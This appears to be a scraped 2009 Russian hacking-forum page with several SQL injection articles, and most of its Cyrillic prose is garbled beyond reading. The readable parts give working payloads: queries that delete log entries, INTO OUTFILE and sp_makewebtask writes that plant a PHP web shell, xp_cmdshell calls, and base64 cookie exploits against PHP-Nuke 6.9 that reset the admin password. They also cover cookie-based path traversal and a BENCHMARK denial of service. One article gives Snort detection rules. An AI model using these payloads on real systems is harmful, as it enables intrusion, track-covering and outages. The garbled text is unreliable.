�� cards.

�� UNION �� . �� SELECT'� �� , �� . �� , �� clients - �� 4 ��, � � cards - 5, �� . �� -�� , �� "SELECT *", �, ��, "SELECT type, number, holder, address".

�� SQL-��

�� sql-�� SQL-��, �� , �� . �� , �� . � ��, Microsoft SQL Server �� , �� ';', � MySQL - ��.

�� SQL-��, �� . ��, ��-�� , �� . �� , �� , �� logs, �� remote_ip. �� , �� remote_ip �� IP-��. �� SQL-�� DELETE. ��, �� :

DELETE FROM logs WHERE remote_ip='IP address'

��

SELECT * FROM clients WHERE login='$login' AND password='$password'

� DELETE ��. � � �� -��. �� , ��, "nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2", � �� :

SELECT * FROM clients WHERE login='nologin' AND password='nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2'

�� .

��, �� DELETE �� SQL-��, �� : SELECT, INSERT, UPDATE � �.�.

��

�� SQL-�� SQL-�� . �� ? �� , �� - �� -�� , �� . � ��, php-��.

� �� MySQL �� INTO OUTFILE. � �� :

INSERT '<? system($cmd) ?>' INTO OUTFILE /www/inetshop/htdocs/shell.php

�� "��" �� MySQL, �� select �� - MySQL, � ��, �� .

�� , �� "INTO OUTFILE" �� SELECT'��, �� (�.�. �� ) �� , �� , � �� . �� . �� , �� , �� . �� , �� , �� -�� ? �� , �� , ��, �� :

SELECT * FROM clients WHERE login='<? system($cmd) ?>' AND password='our_password' INTO OUTFILE '/www/inetshop/htdocs/shell.php'

�� , �� "��" �� - "<? system($cmd) ?>", � �� - "ourpassword' INTO OUTFILE '/www/inetshop/htdocs/filename".

� MS SQL �� . � �� , �� , �� SQL-��. �� - master.dbo.sp_makewebtask - �� :

EXEC sp_makewebtask 'c:\inetpub\wwwroot\shell.php', "�� "

�� EXEC �� , �� sp_makewebtask. �� , �� -��, �� , � �� .

��

�� , �.�. �� , � �� SQL-��. �� , ��, �� SQL, ��, �� , �� .

��, �� -�� MS SQL Server �� master.dbo.xp_cmdshell. �� . �� SQL-��:

EXEC master.dbo.xp_cmdshell 'cmd.exe dir'

�� , �� MS SQL �� (';'), �� . � �� "' EXEC master.dbo.xp_cmdshell 'cmd.exe dir".

Some tricks

�� , �� . � �� - �� , �� . ��, �� , �� ...

� �� , �� , �� , �� . �� . � �� , �� . �� . �� , �� , �� :

1) MS SQL

sysobjects

syscolumns

2) MySQL

mysql.user

mysql.host

mysql.db

3) Oracle

SYS.USER_OBJECTS

SYS.USER_TABLES

SYS.USER_VIEWS

SYS.USER_TAB_COLUMNS

SYS.TAB

SYS.ALL_TABLES

��

�� , �� . �� . ��, �� , �� :

1) ��.

� ��, � ��. � �� .

2) �� .

�� (�� sql-��; mysql, ��, �� ). �� SQL-��.

�� , ��, �� (_), �� (%), �� (*). �� , �� .

��

�� , �� SQL Injection �� . �� SQL-�� , �� . ��, �� SQL. �� : MySQL, Postgres, MS SQL, Oracle. �� , �� MySQL � Postgres, �� . �� . �� . �� . ��!

�� SQL Injection

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:34:26 +0400

��

� ��, �� , �� SELECT � WHERE, �� , �� SQL Injection. �� , �� , �� , �� . �� , �� SQL �� - � �� PHP �� SQLBruter 0.2 (��), �� .

��

�� , � �� . ��, �� :

1. �� ;
2. �� ;
3. �� ;
4. �� ;

�� , � �� -�� . � �� , �� , �� , �� . �� , �� :
php sqlbruter.php HOST PATH MODE ADDITIONAL_PARAMS OPTIONS
�� MODE - �� . �� , �� .

�� , �� <string>, � �� . �� , �� , �� , �� . ��, �� , �� <string>. �� web-�� , �� . � �� :
MySQL error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near �� at line.
�� , �� , � ��
"The used SELECT statements have a different number of columns".
��
PHP: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in z:\home\localhost\www\hackme.php on line 2.
�� , �� , �� . ��, ��
Warning: mysql_fetch_array()
�� , �� HTML-��. �� -
<b>Warning</b>: mysql_fetch_array()
�� .
��

�� <string>. �� , �� . �� , �� ( -n) , �� . �� , �� . �� n �� . �� :

php sqlbruter.php localhost "/index.php?id=1" 1 "The used SELECT statements have a different number of columns" �n=25

��

��, �� , �� SQL-�� user(), version(), database(). �� , �� : �� MySQL ��, �� information_schema, � �� . �� , �� . �� :

<rows> - �� SELECT � WHERE
<string> - ��, �� . �� "Table '��_��' doesn't exist".

<dic> - �� , �� . �� , �� SQL (�� union, outer, select � �.�.), �� , �� , ��, �� .
�� , � �� , �� , � �� pref. �� :

php sqlbruter.php wwwhost.ru "/index.php?id=1" 2 13 "doesn't exist" "/home/root/words.dic" �pref=phpbb

��

��, �� users, �� . � �� . �� , �� , �� <table> - �� , �� . �� , �� :

php sqlbruter.php 127.0.0.1 "/index.php?id=1" 3 13 "users" "Unknown column" "/home/root/words.dic"

��

� ��, �� , �� blind SQL injection. �� , �� SQL ��, �� . �� , �� MySQL �� , � ��, �� . �� . � �� , �� , �� . �� :

<query> - ��, �� (��, user(), version(), database()). �� <query> �� "SELECT password FROM users WHERE username='admin'", �� .
<string> - ��, �� web-�� .

�� . �� r, �� ASCII-��. ��, �� -r �� 48:57 �� . �� a�z, �� 97�122. ��, �� :

php sqlbruter.php 127.0.0.1 /index.php?id=1 4 "version()" "Hacked!" -r=48:122

��

�� , � �� , �� .
-o =[file] - �� -�� (��, -o="/home/root/result.txt");
-p=[port] - �� (�� 80);
-P=[ip:port] - �� (��, -P=127.0.0.1:8080).
�� .

��

��, � �� -�� . �� , �� , � �� PHP � MySQL, �� . ��, �� PHP 5.1.2 + MySQL 5.0.18 �� 35% ��, �� PHP 4.4.2 + MySQL 4.1.16. �� , �� , �� Injection Analyzer �� Kuzya.

�� SQL �� CSS ��.

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:33:37 +0400

1. ��

� �� SQL �� (CSS ��), �� . �� , �� . � �� IDS Snort [3] � �� , �� . ��, �� Snort �� , �� , ��, ��, �� %3C%73%63%72%69%70%74%3E �� <script>.

�� , �� , �� . �� SQL ��, �� SQL �� ('), �� (;) �� (--). �� CSS �� (<>), �� HTML-��. �� , �� , �� . �� , ��, �� .

�� , �� Snort ��, �� pcre [4]. �� grep �� Web ��. �� , �� GET ��, �.�. �� POST �� .

2. �� SQL ��.

�� (��) �� SQL �� , �� cookie. �� .
�� , �� , �� SQL ��, �� SQL �� . �� :

2.1 �� SQL ��
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix </TD< tr>

��:

�� , � �� . �� MS SQL �� Oracle, �� (�.�. �� - ��). ��, � �� MySQL, �� '*' �� . �� , �� , �.�. �� HTML � �� . ��, �� (�� Achilles), �� SQL �� .
�� Snort:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid";
flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i";
classtype:Web-application-attack; sid:9099; rev:5;) </TD< tr>

� �� , �� uricontent �� ".pl", �.�. � ��, � �� , CGI �� Perl. � �� ".php", �� ".asp", �� ".jsp", � �.�.
� �� , �.�. �� , �� SQL �� [6]. �� SQL �� where, �� :

select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number
� �� , �� SQL ��, �� :
3; insert values into some_other_table
� ��, pcre �� 'i' � 'x' ��, ��, �� (�� ).

�� "�� ". �� HTTP ��. �� , �� , �� "=". �� POST �� GET ��, � �� :
username=some_user_supplied_value&password=some_user_supplied_value
�� SQL ��, �� = �� .

2.2 �� SQL ��.
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i </TD< tr>
��:
�� "=" �� (%3D). �� , �� , �� , �� .
�� SQL �� . � �� , �� , �� 1'or '1' = '1. �� , �� 1'or2> 1--. �� , �� , �� , � �� "or".

2.3 �� SQL ��

/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix </TD< tr>
��:
\w* - �� -��
(\ %27) | \ ' - ��
(\ %6F) |o | (\ % 4F)) ((\ %72) |r | (\ % 52) - �� 'or' � �� .

��, �� SQL �� "union". �� SQL. �� "union". �� SQL �� 'select', 'insert', 'update', 'delete' � �.�.

2.4 �� SQL �� union�.

/((\%27)|(\'))union/ix
(\%27)|(\') � ��
union � �� union�

�� SQL �� > select, insert, update, delete, drop � �.�.
� �� , �� WEB �� SQL ��, �� . �� MS SQL ��, �� , �� , �� . �� , ��, � 'sp' �� 'xp'. �� , �� 'xp_cmdshell', �� SQL �� Windows. �� SQL �� (�� Local System). ��, �� xp_regread, xp_regwrite, � �.�.

2.5 �� SQL �� MS SQL ��.

/exec(\s|\+)+(s|x)p\w+/ix </TD< tr>
��:
exec � ��
(\s|\+)+ - �� HTTP
(s|x)p � �� 'sp' �� 'xp' �� , ��
\w+ - �� -�� , �� .

3. �� (CSS ��)

�� CSS �� , �� HTML �� <b> �� , <i> �� <u> �� . �� <script>alert("OK")</script>. �� CSS ��. �� . �� . ��, � ��, �� <script> �� %3C%73%63%72%69%70%74%3E. � �� Achilles � �� < to %3C and > � %3E.

�� , �� , �� HTML �� <> � �� . �� <b>, <u> �� <script>. �� (%3C|<). �� , �� %, �� [a-z0-9 %]. �� , �� .

3.1 �� CSS ��

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/ix </TD< tr>
��:
((\%3C)|<) � ��
((\%2F)|\/)* - �� , � ��
[a-z0-9\%]+ - �� -��
((\%3E)|>) - ��
Snort ��
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"NII Cross-site scripting attempt"; flow:to_server,established; pcre:"/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i";
classtype:Web-application-attack; sid:9000; rev:5;) </TD< tr>
�� CSS �� - �� <img src => ��. �� Snort �� . ��, �� 3.2 �� .

3.2 �� CSS ��

"<img src" /((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^\n]+((\%3E)|>)/I </TD< tr>
��:
(\%3C)|<) - ��
(\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) - �� 'img' � �� ASCII, ��
[^\n]+ �� , �� <img
(\%3E)|>) �� .

3.3 �� CSS ��.
/((\%3C)|<)[^\n]+((\%3E)|>)/I </TD< tr>
��:
�� HTML �� , �� , � �� . � �� Web ��, �� , �� , �� CSS ��.

4. ��

� �� , �� SQL �� CSS ��. �� . �� , �� . �� , �� , �� . �� .

SQL-injection � �� , �� cookies

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:32:34 +0400

---/ �� /---

� �� (�� ) ��. �� , �� , � �� =) �� , �� , �� cookies. � �� cookies, �� , � �� . �� =)

� �� , �� (��) �� .�. �� , � �� . �� : �� sql injection , �� SQL , �� PHP , �� cookies , �� Base64 encode\decode �� ....

---/ �� /---

�� GET, POST �� (�� =) �� -�� , � �� . �� . �� PHP-Nuke �� 6.9 (�� ) �� , �� , �� ... �� auth.php �� :

[ begin code ]
...
if(isset($admin) && $admin != "") # �� $admin ��
{
$admin = base64_decode($admin); # base64 ��
$admin = explode(":", $admin); # ��
$aid = "$admin[0]"; # �� $aid (��)
$pwd = "$admin[1]"; # �� $pwd (��)
$admlanguage = "$admin[2]";

[ �� , �� ]

$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; # � ��
# � �� $aid ��

if (!($result = $db->sql_query($sql))) # ��
{
echo "Selection from database failed!"; # �� (�� )
exit;
}
else # ��
{
$row = $db->sql_fetchrow($result); # ��
if($row[pwd] == $pwd && $row[pwd] != "") # ��
{
$admintest = 1; # ��... �� =)))
}

}
...
[ end code ]

�� $aid �� sql-��, � �� . �� . � �� php-nuke �� . �� "admin" � �� "password" � �� .

[ start cookie ]
lang
english
127.0.0.1/phpnuke/
1536
1008201472
29680718
3288127568
29607292
*
admin
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6
127.0.0.1/phpnuke/
1536
3469246208
29613327
3600307568
29607292
*
[ end cookie ]

�� YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 ��
base64 �� md5 �� . �� .
base64 �� :

��:
YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6

��:
admin:5f4dcc3b5aa765d61d8327deb882cf99:

��,
admin - ��
5f4dcc3b5aa765d61d8327deb882cf99 - md5 �� ( � �� "password")
: - ��

---/ �� cookie /---

�� md5 ��. �� sql-�� :

�� :
admin':5f4dcc3b5aa765d61d8327deb882cf99:

�� base64:
YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

�� "'" � ��. �� sql injection. �� , �� . �� -��.
��: Selection from database failed!
��. �� sql-�� =)

�� . �� :

1 Init DB nuke
1 Init DB nuke
1 Query SELECT main_module from nuke_main
1 Query SELECT * FROM nuke_referer
1 Query SELECT user_password FROM nuke_users WHERE username=''
1 Query DELETE FROM nuke_session WHERE time < 1071760481
1 Query SELECT time FROM nuke_session WHERE uname='127.0.0.1'
1 Query SELECT * FROM nuke_banner WHERE type='0' AND active='1'
1 Query SELECT bid, imageurl, clickurl, alttext FROM nuke_banner WHERE type='0' AND active='1' LIMIT 0,1
1 Query SELECT pwd FROM nuke_authors WHERE aid='admin'' <--- !!!!!!!!
...
�� ! �� -�� ...

if (!($result = $db->sql_query($sql))) # ��
{
echo "Selection from database failed!"; <--- ��
exit;
}

��. SQL-injection ��, �� , �� .... �� sql, � �� sql-injection. � �� . �� ...

---/ �� /---

�� :
admin'; update nuke_authors SET pwd='123' WHERE aid='admin:5f4dcc3b5aa765d61d8327deb882cf99:

��:
YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd2Q9JzEyMycgV0hFUkUgYWlkPSdhZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OTo=

�� cookie � �� :
SELECT pwd FROM nuke_authors WHERE aid='admin'; update nuke_authors SET pwd='123' WHERE aid='admin'

�.�. �� phpnuke �� MSSQL �� aid="admin" �� "123" =)
�� MSSQL? �� ";" � �� mysql �� .�. �� =( �� UNION �� mysql > 4.0 �.�. � �� . �� phpnuke �� .�. �� -�� =( �� -�� UNION �� ... �� .

�� id="admin" � php-nuke �� 6.9 �� mysql

�� :
admin' INTO OUTFILE './pwd.txt:5f4dcc3b5aa765d61d8327deb882cf99:

��:
YWRtaW4nIElOVE8gT1VURklMRSAnLi9wd2QudHh0OjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==

�� cookie � �� :
SELECT pwd FROM nuke_authors WHERE aid='admin' INTO OUTFILE './pwd.txt'

�.�. �� aid="admin" � �� pwd.txt.

---/ �� /---

�� php-�� PHP-Nuke �� cookies. �� :
admin.php?admin=YWRtaW4nOjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5Og==
�� -�� .

---/ SQL-injection � ��? /---

�� , �� cookies �� SQL-injection. �� cookies �� , � �� . �� -�� -�� =) �� 6.9. ( � �� 7.0 FINAL � �� ) �� , �� ... � �� . � �� $lang � �� :

[ begin mainfile.php code ]

... include("language/lang-$lang.php");

... [ end mainfile.php code ]

�� , �� : 127.0.0.1/phpnuke/index.php?lang=/../../../ �� , �� , �� . �� GET �� ... �� . �� . �� . �� . �� , �� :

[ start cookie ]
...
lang
english
...
[ end cookie ]

�� "english" �� : language/lang-english.php
�� : ../../english
�� :

Warning: main(language/lang-../../english.php): failed to open stream:
No such file or directory in mainfile.php on line 162

�� . �� , �� -�� . �� . � �� -��:
�� :
lang
/../../hacker

�� :
language/lang-/../../hacker.php

�� hacker.php ��
�� cookie �� "cool =)"
�� , � �� .

---/ �� /---

�� . �� !!! �� , �� .

---/ �� /---

� �� , � �� . �� ... �� , �� , �� cookies � �.�. �� ... �� ! �� -��, � �� . �� .

SQL Injection+DoS

mybb@mybb.ru (Stemp-Admin) — Thu, 18 Jun 2009 01:14:39 +0400

�� DoS-�� SQL Injection.

��

�� SQL Injection �� . �� . �� .

�� . � �� . �� SQL Injection. �� . �� DoS.

��

�� . wwwexample.com. �� id. �� wwwexample.com/index.php?id=-1+union+select+null,null,null,version(),null.

� �� (�� ) �� .

� SQL �� benchmark. �� . �� BENCHMARK(10000, now()) �� now() 10000 ��. (now() �� -��-�� :��:��). �� . �� . �� BENCHMARK(100000, BENCHMARK(10000, NOW())). �� :) ��: ��
http://www.example.com/index.php?id=1+BENCHMARK(100000, BENCHMARK(10000, NOW())). �� DoS.

�� : �� SQL Injection, � �� ? ��: DoS �� . �� .

����� "XAK"

��������

����� ��� ������ ���� ����������� ������

anonymous

HTTP-����

SOCKS 4

anon

high anonymous

������� ������

HTTP ����� ��� �������

HTTP ������ ��������.

HTTP

HTTP ��������

������� HTTP

Good HTTP proxies:

����

����������������� XSS ���������: MySpace 0day ��������

������������� UTF-7 � ������ ������ XSS

CSS �� �������� ��� ��� ��� ������� magov.ru

Cross Domain Scripting

SQL Injection/����� MySQL

������ SQL���� ���� ������

������������������ ������������ SQL Injection

����������� SQL �������� � CSS ����.

SQL-injection � �� ������, ����� cookies

SQL Injection+DoS

�� "XAK"

��

��

HTTP-��

��

HTTP ��

HTTP �� .

HTTP ��

�� HTTP

��

�� XSS ��: MySpace 0day ��

�� UTF-7 � �� XSS

CSS �� magov.ru

SQL Injection/�� MySQL

�� SQL��

�� SQL Injection

�� SQL �� CSS ��.

SQL-injection � �� , �� cookies